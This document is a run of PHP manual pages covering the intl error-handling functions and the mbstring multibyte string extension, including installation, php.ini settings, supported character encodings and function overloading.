This parameter can be used only if INTL_IDNA_VARIANT_UTS46 was used for variant. In that case, it will be filled with an array with the keys 'result', the possibly illegal result of the transformation, 'isTransitionalDifferent', a boolean indicating whether the usage of the transitional mechanisms of UTS #46 either has or would have changed the result and 'errors', which is an int representing a bitset of the error constants IDNA_ERROR_*.

Return Values

Domain name in Unicode, encoded in UTF-8. or FALSE on failure

Changelog

Version | Description
5.4.0/PECL 2.0.0b1 | Added the parameters variant and idna_info; UTS #46 support.

Examples

Example #1 idn_to_utf8() example

<?php

echo idn_to_utf8('xn--tst-qla.de');

?>

The above example will output:

täst.de

See Also

  • idn_to_unicode() - Alias of idn_to_utf8

User Contributed Notes

There are no user contributed notes for this page.
idn_to_unicode
intl Functions
IDN Functions


intl Functions

Table of Contents

  • intl_error_name — Get symbolic name for a given error code
  • intl_get_error_code — Get the last error code
  • intl_get_error_message — Get description of the last error
  • intl_is_failure — Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
idn_to_utf8
intl_error_name
intl


Get symbolic name for a given error code

intl Functions
intl_get_error_code
intl Functions
PHP Manual

intl_error_name

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

intl_error_name — Get symbolic name for a given error code

Description

string intl_error_name ( int $error_code )

Return ICU error code name.

Parameters

error_code

ICU error code.

Return Values

The returned string will be the same as the name of the error code constant.

Examples

Example #1 intl_error_name() example

<?php
$coll     = collator_create( 'en_RU' );
$err_code = collator_get_error_code( $coll );

printf( "Symbolic name for %d is %s\n.", $err_code, intl_error_name( $err_code ) );
?>

The above example will output something similar to:

Symbolic name for -128 is U_USING_FALLBACK_WARNING.

See Also

  • intl_is_failure() - Check whether the given error code indicates failure
  • intl_get_error_code() - Get the last error code
  • intl_get_error_message() - Get description of the last error

User Contributed Notes

There are no user contributed notes for this page.
intl Functions
intl_get_error_code
intl Functions


Get the last error code

intl_error_name
intl_get_error_message
intl Functions
PHP Manual

intl_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

intl_get_error_code — Get the last error code

Description

int intl_get_error_code ( void )

Useful to handle errors occurred in static methods when there's no object to get error code from.

Return Values

Error code returned by the last API function call.

Examples

Example #1 intl_get_error_code() example

<?php
$coll = collator_create( '<bad_param>' );
if( !$coll ) {
    handle_error( intl_get_error_code() );
}
?>

See Also

  • intl_is_failure() - Check whether the given error code indicates failure
  • intl_error_name() - Get symbolic name for a given error code
  • intl_get_error_message() - Get description of the last error
  • collator_get_error_code() - Get collator's last error code
  • numfmt_get_error_code() - Get formatter's last error code.

User Contributed Notes

There are no user contributed notes for this page.
intl_error_name
intl_get_error_message
intl Functions


Get description of the last error

intl_get_error_code
intl_is_failure
intl Functions
PHP Manual

intl_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

intl_get_error_message — Get description of the last error

Description

string intl_get_error_message ( void )

Get error message from last internationalization function called.

Return Values

Description of an error occurred in the last API function call.

Examples

Example #1 intl_get_error_message() example

<?php
if( Collator::getAvailableLocales() === false ) {
    show_error( intl_get_error_message() );
}
?>

See Also

  • intl_error_name() - Get symbolic name for a given error code
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure
  • collator_get_error_message() - Get text for collator's last error code
  • numfmt_get_error_message() - Get formatter's last error message.

User Contributed Notes

There are no user contributed notes for this page.
intl_get_error_code
intl_is_failure
intl Functions


Check whether the given error code indicates failure

intl_get_error_message
Multibyte String
intl Functions
PHP Manual

intl_is_failure

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

intl_is_failure — Check whether the given error code indicates failure

Description

bool intl_is_failure ( int $error_code )

Parameters

error_code

is a value that returned by functions: intl_get_error_code(), collator_get_error_code() .

Return Values

TRUE if it the code indicates some failure, and FALSE in case of success or a warning.

Examples

Example #1 intl_is_failure() example

<?php
function check( $err_code )
{
    var_export( intl_is_failure( $err_code ) );
    echo "\n";
}

check( U_ZERO_ERROR );
check( U_USING_FALLBACK_WARNING );
check( U_ILLEGAL_ARGUMENT_ERROR );
?>

The above example will output something similar to:

false
false
true

See Also

  • intl_get_error_code() - Get the last error code
  • collator_get_error_code() - Get collator's last error code
  • Collator-getErrorCode() - Get collator's last error code

User Contributed Notes

There are no user contributed notes for this page.
intl_get_error_message
Multibyte String
intl Functions


Multibyte String

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Summaries of supported encodings
  • Basics of Japanese multi-byte encodings
  • HTTP Input and Output
  • Supported Character Encodings
  • Function Overloading Feature
  • PHP Character Encoding Requirements
  • Multibyte String Functions
    • mb_check_encoding — Check if the string is valid for the specified encoding
    • mb_convert_case — Perform case folding on a string
    • mb_convert_encoding — Convert character encoding
    • mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)
    • mb_convert_variables — Convert character code in variable(s)
    • mb_decode_mimeheader — Decode string in MIME header field
    • mb_decode_numericentity — Decode HTML numeric string reference to character
    • mb_detect_encoding — Detect character encoding
    • mb_detect_order — Set/Get character encoding detection order
    • mb_encode_mimeheader — Encode string for MIME header
    • mb_encode_numericentity — Encode character to HTML numeric string reference
    • mb_encoding_aliases — Get aliases of a known encoding type
    • mb_ereg_match — Regular expression match for multibyte string
    • mb_ereg_replace — Replace regular expression with multibyte support
    • mb_ereg_search_getpos — Returns start point for next regular expression match
    • mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match
    • mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match
    • mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string
    • mb_ereg_search_regs — Returns the matched part of a multibyte regular expression
    • mb_ereg_search_setpos — Set start point of next regular expression match
    • mb_ereg_search — Multibyte regular expression match for predefined multibyte string
    • mb_ereg — Regular expression match with multibyte support
    • mb_eregi_replace — Replace regular expression with multibyte support ignoring case
    • mb_eregi — Regular expression match ignoring case with multibyte support
    • mb_get_info — Get internal settings of mbstring
    • mb_http_input — Detect HTTP input character encoding
    • mb_http_output — Set/Get HTTP output character encoding
    • mb_internal_encoding — Set/Get internal character encoding
    • mb_language — Set/Get current language
    • mb_list_encodings — Returns an array of all supported encodings
    • mb_output_handler — Callback function converts character encoding in output buffer
    • mb_parse_str — Parse GET/POST/COOKIE data and set global variable
    • mb_preferred_mime_name — Get MIME charset string
    • mb_regex_encoding — Returns current encoding for multibyte regex as string
    • mb_regex_set_options — Set/Get the default options for mbregex functions
    • mb_send_mail — Send encoded mail
    • mb_split — Split multibyte string using regular expression
    • mb_strcut — Get part of string
    • mb_strimwidth — Get truncated string with specified width
    • mb_stripos — Finds position of first occurrence of a string within another, case insensitive
    • mb_stristr — Finds first occurrence of a string within another, case insensitive
    • mb_strlen — Get string length
    • mb_strpos — Find position of first occurrence of string in a string
    • mb_strrchr — Finds the last occurrence of a character in a string within another
    • mb_strrichr — Finds the last occurrence of a character in a string within another, case insensitive
    • mb_strripos — Finds position of last occurrence of a string within another, case insensitive
    • mb_strrpos — Find position of last occurrence of a string in a string
    • mb_strstr — Finds first occurrence of a string within another
    • mb_strtolower — Make a string lowercase
    • mb_strtoupper — Make a string uppercase
    • mb_strwidth — Return width of string
    • mb_substitute_character — Set/Get substitution character
    • mb_substr_count — Count the number of substring occurrences
    • mb_substr — Get part of string

User Contributed Notes

There are no user contributed notes for this page.
intl_is_failure
Introduction
Human Language and Character Encoding Support


Introduction

While there are many languages in which every necessary character can be represented by a one-to-one mapping to an 8-bit value, there are also several languages which require so many characters for written communication that they cannot be contained within the range a mere byte can code (A byte is made up of eight bits. Each bit can contain only two distinct values, one or zero. Because of this, a byte can only represent 256 unique values (two to the power of eight)). Multibyte character encoding schemes were developed to express more than 256 characters in the regular bytewise coding system.

When you manipulate (trim, split, splice, etc.) strings encoded in a multibyte encoding, you need to use special functions since two or more consecutive bytes may represent a single character in such encoding schemes. Otherwise, if you apply a non-multibyte-aware string function to the string, it probably fails to detect the beginning or ending of the multibyte character and ends up with a corrupted garbage string that most likely loses its original meaning.

mbstring provides multibyte specific string functions that help you deal with multibyte encodings in PHP. In addition to that, mbstring handles character encoding conversion between the possible encoding pairs. mbstring is designed to handle Unicode-based encodings such as UTF-8 and UCS-2 and many single-byte encodings for convenience (listed below).

User Contributed Notes

Ant P. 19-Feb-2009 01:12
As mentioned on the "Function Overloading" page, you can get the benefits of this module in existing code with almost zero effort on your part - just set "mbstring.func_overload" in php.ini.
Multibyte String
Installing/Configuring
Multibyte String


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Multibyte String


Installation

mbstring is a non-default extension. This means it is not enabled by default. You must explicitly enable the module with the configure option. See the Install section for details.

The following configure options are related to the mbstring module.

  • --enable-mbstring : Enable mbstring functions. This option is required to use mbstring functions.

    libmbfl is necesarry for mbstring. libmbfl is bundled with mbstring. If libmbfl is already installed on the system, --with-libmbfl[=DIR] can be specified to use the installed library.

    As of PHP 4.3.0, mbstring extension provides enhanced support for Simplified Chinese, Traditional Chinese, Korean, and Russian in addition to Japanese.

    For PHP 4.3.3 or before, To enable that feature, you will have to supply either one of the following options to the LANG parameter of --enable-mbstring=LANG ; --enable-mbstring=cn for Simplified Chinese support, --enable-mbstring=tw for Traditional Chinese support, --enable-mbstring=kr for Korean support, --enable-mbstring=ru for Russian support, and --enable-mbstring=ja for Japanese support (default). To enable all supported encoding, use --enable-mbstring=all .

    Note:

    As of PHP 4.3.4, all supported encoding by libmbfl is enabled with --enable-mbstring .

  • --enable-mbstr-enc-trans : Enable HTTP input character encoding conversion using mbstring conversion engine. If this feature is enabled, HTTP input character encoding may be converted to mbstring.internal_encoding automatically.

    Note:

    As of PHP 4.3.0, the option --enable-mbstr-enc-trans was eliminated and replaced with the runtime setting mbstring.encoding_translation. HTTP input character encoding conversion is enabled when this is set to On (the default is Off).

  • --disable-mbregex : Disable regular expression functions with multibyte character support.

User Contributed Notes

jmckenna at gatewaygeomatics dot com 08-Sep-2009 11:59
The mb_split() function requires PHP to be compiled with --enable-mbregex (as of PHP 5.3.0).

-jeff
kacz at kaczmarowski dot com 08-Feb-2009 11:22
Fedora 9 -- yum install php-mbstring then httpd -k restart to freshen the environment.

[EDIT BY danbrown AT php DOT net: This is true for all Red Hat Linux-based distributions using RPM and the `yum` package manager; this includes RHEL, Fedora, CentOS, Mandriva, and Intrinsic Linux, among others.]
tom at ritter dot vg 18-Dec-2008 08:00
To compile with the mbstring option in gentoo, use the 'unicode' USE flag.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

mbstring configuration options
Name | Default | Changeable | Changelog
mbstring.language | "neutral" | PHP_INI_ALL | Available since PHP 4.3.0.; PHP_INI_PERDIR in PHP <= 5.2.6
mbstring.detect_order | NULL | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.http_input | "pass" | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.http_output | "pass" | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.internal_encoding | NULL | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.script_encoding | NULL | PHP_INI_ALL | Available since PHP 4.3.0.
mbstring.substitute_character | NULL | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.func_overload | "0" | PHP_INI_SYSTEM | PHP_INI_SYSTEM in PHP <= 4.2.3; PHP_INI_SYSTEM | PHP_INI_PERDIR from PHP 4.3 through 5.2.6. Available since PHP 4.2.0.
mbstring.encoding_translation | "0" | PHP_INI_PERDIR | Available since PHP 4.3.0.
mbstring.strict_detection | "0" | PHP_INI_ALL | Available since PHP 5.1.2.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mbstring.language string

The default national language setting (NLS) used in mbstring. Note that this option automagically defines mbstring.internal_encoding and mbstring.internal_encoding should be placed after mbstring.language in php.ini

mbstring.encoding_translation boolean

Enables the transparent character encoding filter for the incoming HTTP queries, which performs detection and conversion of the input encoding to the internal character encoding.

mbstring.internal_encoding string

Defines the default internal character encoding.

mbstring.http_input string

Defines the default HTTP input character encoding.

mbstring.http_output string

Defines the default HTTP output character encoding.

mbstring.detect_order string

Defines default character code detection order. See also mb_detect_order().

mbstring.substitute_character string

Defines character to substitute for invalid character encoding.

mbstring.func_overload string

Overloads a set of single byte functions by the mbstring counterparts. See Function overloading for more information.

mbstring.strict_detection boolean

Enables the strict encoding detection.

According to the » HTML 4.01 specification, Web browsers are allowed to encode a form being submitted with a character encoding different from the one used for the page. See mb_http_input() to detect character encoding used by browsers.

Although popular browsers are capable of giving a reasonably accurate guess to the character encoding of a given HTML document, it would be better to set the charset parameter in the Content-Type HTTP header to the appropriate value by header() or default_charset ini setting.

Example #1 php.ini setting examples

; Set default language
mbstring.language        = Neutral; Set default language to Neutral(UTF-8) (default)
mbstring.language        = English; Set default language to English
mbstring.language        = Japanese; Set default language to Japanese

;; Set default internal encoding
;; Note: Make sure to use character encoding works with PHP
mbstring.internal_encoding    = UTF-8  ; Set internal encoding to UTF-8

;; HTTP input encoding translation is enabled.
mbstring.encoding_translation = On

;; Set default HTTP input character encoding
;; Note: Script cannot change http_input setting.
mbstring.http_input           = pass    ; No conversion.
mbstring.http_input           = auto    ; Set HTTP input to auto
                                ; "auto" is expanded according to mbstring.language
mbstring.http_input           = SJIS    ; Set HTTP input to SJIS
mbstring.http_input           = UTF-8,SJIS,EUC-JP ; Specify order

;; Set default HTTP output character encoding
mbstring.http_output          = pass    ; No conversion
mbstring.http_output          = UTF-8   ; Set HTTP output encoding to UTF-8

;; Set default character encoding detection order
mbstring.detect_order         = auto    ; Set detect order to auto
mbstring.detect_order         = ASCII,JIS,UTF-8,SJIS,EUC-JP ; Specify order

;; Set default substitute character
mbstring.substitute_character = 12307   ; Specify Unicode value
mbstring.substitute_character = none    ; Do not print character
mbstring.substitute_character = long    ; Long Example: U+3000,JIS+7E7E

Example #2 php.ini setting for EUC-JP users

;; Disable Output Buffering
output_buffering      = Off

;; Set HTTP header charset
default_charset       = EUC-JP

;; Set default language to Japanese
mbstring.language = Japanese

;; HTTP input encoding translation is enabled.
mbstring.encoding_translation = On

;; Set HTTP input encoding conversion to auto
mbstring.http_input   = auto

;; Convert HTTP output to EUC-JP
mbstring.http_output  = EUC-JP

;; Set internal encoding to EUC-JP
mbstring.internal_encoding = EUC-JP

;; Do not print invalid characters
mbstring.substitute_character = none

Example #3 php.ini setting for SJIS users

;; Enable Output Buffering
output_buffering     = On

;; Set mb_output_handler to enable output conversion
output_handler       = mb_output_handler

;; Set HTTP header charset
default_charset      = Shift_JIS

;; Set default language to Japanese
mbstring.language = Japanese

;; Set http input encoding conversion to auto
mbstring.http_input  = auto

;; Convert to SJIS
mbstring.http_output = SJIS

;; Set internal encoding to EUC-JP
mbstring.internal_encoding = EUC-JP

;; Do not print invalid characters
mbstring.substitute_character = none

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MB_OVERLOAD_MAIL (integer)
MB_OVERLOAD_STRING (integer)
MB_OVERLOAD_REGEX (integer)
MB_CASE_UPPER (integer)
MB_CASE_LOWER (integer)
MB_CASE_TITLE (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Summaries of supported encodings
Multibyte String


Summaries of supported encodings

Summaries of supported encodings
Name in the IANA character set registry:ISO-10646-UCS-4
Underlying character set:ISO 10646
Description: The Universal Character Set with 31-bit code space, standardized as UCS-4 by ISO/IEC 10646. It is kept synchronized with the latest version of the Unicode code map.
Additional note: If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.
Name in the IANA character set registry:ISO-10646-UCS-4
Underlying character set:UCS-4
Description: See above.
Additional note: In contrast to UCS-4, strings are always assumed to be in big endian form.
Name in the IANA character set registry:ISO-10646-UCS-4
Underlying character set:UCS-4
Description: See above.
Additional note: In contrast to UCS-4, strings are always assumed to be in little endian form.
Name in the IANA character set registry:ISO-10646-UCS-2
Underlying character set:UCS-2
Description: The Universal Character Set with 16-bit code space, standardized as UCS-2 by ISO/IEC 10646. It is kept synchronized with the latest version of the unicode code map.
Additional note: If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.
Name in the IANA character set registry:ISO-10646-UCS-2
Underlying character set:UCS-2
Description: See above.
Additional note: In contrast to UCS-2, strings are always assumed to be in big endian form.
Name in the IANA character set registry:ISO-10646-UCS-2
Underlying character set:UCS-2
Description: See above.
Additional note: In contrast to UCS-2, strings are always assumed to be in little endian form.
Name in the IANA character set registry:UTF-32
Underlying character set:Unicode
Description: Unicode Transformation Format of 32-bit unit width, whose encoding space refers to the Unicode's codeset standard. This encoding scheme wasn't identical to UCS-4 because the code space of Unicode were limited to a 21-bit value.
Additional note: If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.
Name in the IANA character set registry:UTF-32BE
Underlying character set:Unicode
Description:See above
Additional note: In contrast to UTF-32, strings are always assumed to be in big endian form.
Name in the IANA character set registry:UTF-32LE
Underlying character set:Unicode
Description:See above
Additional note: In contrast to UTF-32, strings are always assumed to be in little endian form.
Name in the IANA character set registry:UTF-16
Underlying character set:Unicode
Description: Unicode Transformation Format of 16-bit unit width. It's worth a note that UTF-16 is no longer the same specification as UCS-2 because the surrogate mechanism has been introduced since Unicode 2.0 and UTF-16 now refers to a 21-bit code space.
Additional note: If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.
Name in the IANA character set registry:UTF-16BE
Underlying character set:Unicode
Description: See above.
Additional note: In contrast to UTF-16, strings are always assumed to be in big endian form.
Name in the IANA character set registry:UTF-16LE
Underlying character set:Unicode
Description: See above.
Additional note: In contrast to UTF-16, strings are always assumed to be in little endian form.
Name in the IANA character set registry:UTF-8
Underlying character set:Unicode / UCS
Description: Unicode Transformation Format of 8-bit unit width.
Additional note:none
Name in the IANA character set registry:UTF-7
Underlying character set:Unicode
Description: A mail-safe transformation format of Unicode, specified in » RFC2152.
Additional note:none
Name in the IANA character set registry:(none)
Underlying character set:Unicode
Description: A variant of UTF-7 which is specialized for use in the » IMAP protocol.
Additional note:none
Name in the IANA character set registry: US-ASCII (preferred MIME name) / iso-ir-6 / ANSI_X3.4-1986 / ISO_646.irv:1991 / ASCII / ISO646-US / us / IBM367 / CP367 / csASCII
Underlying character set:ASCII / ISO 646
Description: American Standard Code for Information Interchange is a commonly-used 7-bit encoding. Also standardized as an international standard, ISO 646.
Additional note:(none)
Name in the IANA character set registry: EUC-JP (preferred MIME name) / Extended_UNIX_Code_Packed_Format_for_Japanese / csEUCPkdFmtJapanese
Underlying character set: Compound of US-ASCII / JIS X0201:1997 (hankaku kana part) / JIS X0208:1990 / JIS X0212:1990
Description: As you see the name is derived from an abbreviation of Extended UNIX Code Packed Format for Japanese, this encoding is mostly used on UNIX or alike platforms. The original encoding scheme, Extended UNIX Code, is designed on the basis of ISO 2022.
Additional note: The character set referred to by EUC-JP is different to IBM932 / CP932, which are used by OS/2® and Microsoft® Windows®. For information interchange with those platforms, use EUCJP-WIN instead.
Name in the IANA character set registry:Shift_JIS (preferred MIME name) / MS_Kanji / csShift_JIS
Underlying character set:Compound of JIS X0201:1997 / JIS X0208:1997
Description: Shift_JIS was developed in early 80's, at the time personal Japanese word processors were brought into the market, in order to maintain compatiblities with the legacy encoding scheme JIS X 0201:1976. According to the IANA definition the codeset of Shift_JIS is slightly different to IBM932 / CP932. However, the names "SJIS" / "Shift_JIS" are often wrongly used to refer to these codesets.
Additional note:For the CP932 codemap, use SJIS-WIN instead.
Name in the IANA character set registry:(none)
Underlying character set: Compound of JIS X0201:1997 / JIS X0208:1997 / IBM extensions / NEC extensions
Description: While this "encoding" uses the same encoding scheme as EUC-JP, the underlying character set is different. That is, some code points map to different characters than EUC-JP.
Additional note:none
Name in the IANA character set registry:Windows-31J / csWindows31J
Underlying character set: Compound of JIS X0201:1997 / JIS X0208:1997 / IBM extensions / NEC extensions
Description: While this "encoding" uses the same encoding scheme as Shift_JIS, the underlying character set is different. That means some code points map to different characters than Shift_JIS.
Additional note:(none)
Name in the IANA character set registry:ISO-2022-JP (preferred MIME name) / csISO2022JP
Underlying character set: US-ASCII / JIS X0201:1976 / JIS X0208:1978 / JIS X0208:1983
Description: » RFC1468
Additional note:(none)
Name in the IANA character set registry:JIS
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-1
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-2
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-3
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-4
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-5
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-6
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-7
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-8
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-9
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-10
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-13
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-14
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-8859-15
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:byte2be
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:byte2le
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:byte4be
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:byte4le
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:BASE64
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:HTML-ENTITIES
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:7bit
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:8bit
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:EUC-CN
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:CP936
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:HZ
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:EUC-TW
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:CP950
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:BIG-5
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:EUC-KR
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:UHC (CP949)
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:ISO-2022-KR
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:Windows-1251 (CP1251)
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:Windows-1252 (CP1252)
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:CP866 (IBM866)
Underlying character set:
Description:
Additional note:
Name in the IANA character set registry:KOI8-R
Underlying character set:
Description:
Additional note:

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basics of Japanese multi-byte encodings
Multibyte String


Basics of Japanese multi-byte encodings

Japanese characters can only be represented by multibyte encodings, and multiple encoding standards are used depending on platform and text purpose. To make matters worse, these encoding standards differ slightly from one another. In order to create a web application which would be usable in a Japanese environment, a developer has to keep these complexities in mind to ensure that the proper character encodings are used.

  • Storage for a character can be up to six bytes
  • Most Japanese multibyte characters appear twice as wide as single-byte characters. These characters are called "zen-kaku" in Japanese, which means "full width". Other, narrower, characters are called "han-kaku", which means "half width". The graphical properties of the characters, however, depends upon the type faces used to display them.
  • Some character encodings use shift(escape) sequences defined in ISO-2022 to switch the code map of the specific code area (00h to 7fh).
  • ISO-2022-JP should be used in SMTP/NNTP, and headers and entities should be reencoded as per RFC requirements. Although those are not requisites, it's still a good idea because several popular user agents cannot recognize any other encoding methods.
  • Web pages created for mobile phone services such as » i-mode or » EZweb are supposed to use Shift_JIS.
  • As of PHP 5.4.0, the pictogram characters used for mobile phone service such as » i-mode or » EZweb are supported.

User Contributed Notes

gullevek at gullevek dot org 25-Aug-2010 12:24
For ISO-2022-JP encoding. If you convert data into this encoding it is highly recommended you use ISO-2022-JP-MS for the extended character set, eg the 1 in a circle ①.

For the mail header on the other hand you have to use ISO-2022-JP *without* the -MS extension.
Summaries of supported encodings
HTTP Input and Output
Multibyte String


HTTP Input and Output

HTTP input/output character encoding conversion may convert binary data also. Users are supposed to control character encoding conversion if binary data is used for HTTP input/output.

Note:

In PHP 4.3.2 or earlier versions, there was a limitation in this functionality that mbstring does not perform character encoding conversion in POST data if the enctype attribute in the form element is set to multipart/form-data. So you have to convert the incoming data by yourself in this case if necessary.

Beginning with PHP 4.3.3, if enctype for HTML form is set to multipart/form-data and mbstring.encoding_translation is set to On in php.ini the POST'ed variables and the names of uploaded files will be converted to the internal character encoding as well. However, the conversion isn't applied to the query keys.

  • HTTP Input

    There is no way to control HTTP input character conversion from a PHP script. To disable HTTP input character conversion, it has to be done in php.ini.

    Example #1 Disable HTTP input conversion in php.ini

    ;; Disable HTTP Input conversion
mbstring.http_input = pass
;; Disable HTTP Input conversion (PHP 4.3.0 or higher)
mbstring.encoding_translation = Off

    When using PHP as an Apache module, it is possible to override those settings in each Virtual Host directive in httpd.conf or per directory with .htaccess. Refer to the Configuration section and Apache Manual for details.

  • HTTP Output

    There are several ways to enable output character encoding conversion. One is using php.ini, another is using ob_start() with mb_output_handler() as the ob_start callback function.

Example #2 php.ini setting example

;; Enable output character encoding conversion for all PHP pages

;; Enable Output Buffering
output_buffering    = On

;; Set mb_output_handler to enable output conversion
output_handler      = mb_output_handler

Example #3 Script example

<?php

// Enable output character encoding conversion only for this page

// Set HTTP output character encoding to SJIS
mb_http_output('SJIS');

// Start buffering and specify "mb_output_handler" as
// callback function
ob_start('mb_output_handler');

?>

User Contributed Notes

There are no user contributed notes for this page.
Basics of Japanese multi-byte encodings
Supported Character Encodings
Multibyte String


Supported Character Encodings

Currently the following character encodings are supported by the mbstring module. Any of those Character encodings can be specified in the encoding parameter of mbstring functions.

The following character encodings are supported in this PHP extension:

  • UCS-4*
  • UCS-4BE
  • UCS-4LE*
  • UCS-2
  • UCS-2BE
  • UCS-2LE
  • UTF-32*
  • UTF-32BE*
  • UTF-32LE*
  • UTF-16*
  • UTF-16BE*
  • UTF-16LE*
  • UTF-7
  • UTF7-IMAP
  • UTF-8*
  • ASCII*
  • EUC-JP*
  • SJIS*
  • eucJP-win*
  • SJIS-win*
  • ISO-2022-JP
  • ISO-2022-JP-MS
  • CP932
  • CP51932
  • SJIS-mac** (alias: MacJapanese)
  • SJIS-Mobile#DOCOMO** (alias: SJIS-DOCOMO)
  • SJIS-Mobile#KDDI** (alias: SJIS-KDDI)
  • SJIS-Mobile#SOFTBANK** (alias: SJIS-SOFTBANK)
  • UTF-8-Mobile#DOCOMO** (alias: UTF-8-DOCOMO)
  • UTF-8-Mobile#KDDI-A**
  • UTF-8-Mobile#KDDI-B** (alias: UTF-8-KDDI)
  • UTF-8-Mobile#SOFTBANK** (alias: UTF-8-SOFTBANK)
  • ISO-2022-JP-MOBILE#KDDI** (alias: ISO-2022-JP-KDDI)
  • JIS
  • JIS-ms
  • CP50220
  • CP50220raw
  • CP50221
  • CP50222
  • ISO-8859-1*
  • ISO-8859-2*
  • ISO-8859-3*
  • ISO-8859-4*
  • ISO-8859-5*
  • ISO-8859-6*
  • ISO-8859-7*
  • ISO-8859-8*
  • ISO-8859-9*
  • ISO-8859-10*
  • ISO-8859-13*
  • ISO-8859-14*
  • ISO-8859-15*
  • byte2be
  • byte2le
  • byte4be
  • byte4le
  • BASE64
  • HTML-ENTITIES
  • 7bit
  • 8bit
  • EUC-CN*
  • CP936
  • GB18030**
  • HZ
  • EUC-TW*
  • CP950
  • BIG-5*
  • EUC-KR*
  • UHC (CP949)
  • ISO-2022-KR
  • Windows-1251 (CP1251)
  • Windows-1252 (CP1252)
  • CP866 (IBM866)
  • KOI8-R*

* denotes encodings usable also in regular expressions.

** denotes encodings available since PHP 5.4.0.

Any php.ini entry which accepts an encoding name can also use the values "auto" and "pass". mbstring functions which accept an encoding name can also use the value "auto".

If "pass" is set, no character encoding conversion is performed.

If "auto" is set, it is expanded to the list of encodings defined per the NLS. For instance, if the NLS is set to Japanese, the value is assumed to be "ASCII,JIS,UTF-8,EUC-JP,SJIS".

See also mb_detect_order()

User Contributed Notes

There are no user contributed notes for this page.
HTTP Input and Output
Function Overloading Feature
Multibyte String


Function Overloading Feature

You might often find it difficult to get an existing PHP application to work in a given multibyte environment. This happens because most PHP applications out there are written with the standard string functions such as substr(), which are known to not properly handle multibyte-encoded strings.

mbstring supports a 'function overloading' feature which enables you to add multibyte awareness to such an application without code modification by overloading multibyte counterparts on the standard string functions. For example, mb_substr() is called instead of substr() if function overloading is enabled. This feature makes it easy to port applications that only support single-byte encodings to a multibyte environment in many cases.

To use function overloading, set mbstring.func_overload in php.ini to a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions. For example, if it is set to 7, mail, strings and regular expression functions will be overloaded. The list of overloaded functions are shown below.

Functions to be overloaded
value of mbstring.func_overload | original function | overloaded function
1 | mail() | mb_send_mail()
2 | strlen() | mb_strlen()
2 | strpos() | mb_strpos()
2 | strrpos() | mb_strrpos()
2 | substr() | mb_substr()
2 | strtolower() | mb_strtolower()
2 | strtoupper() | mb_strtoupper()
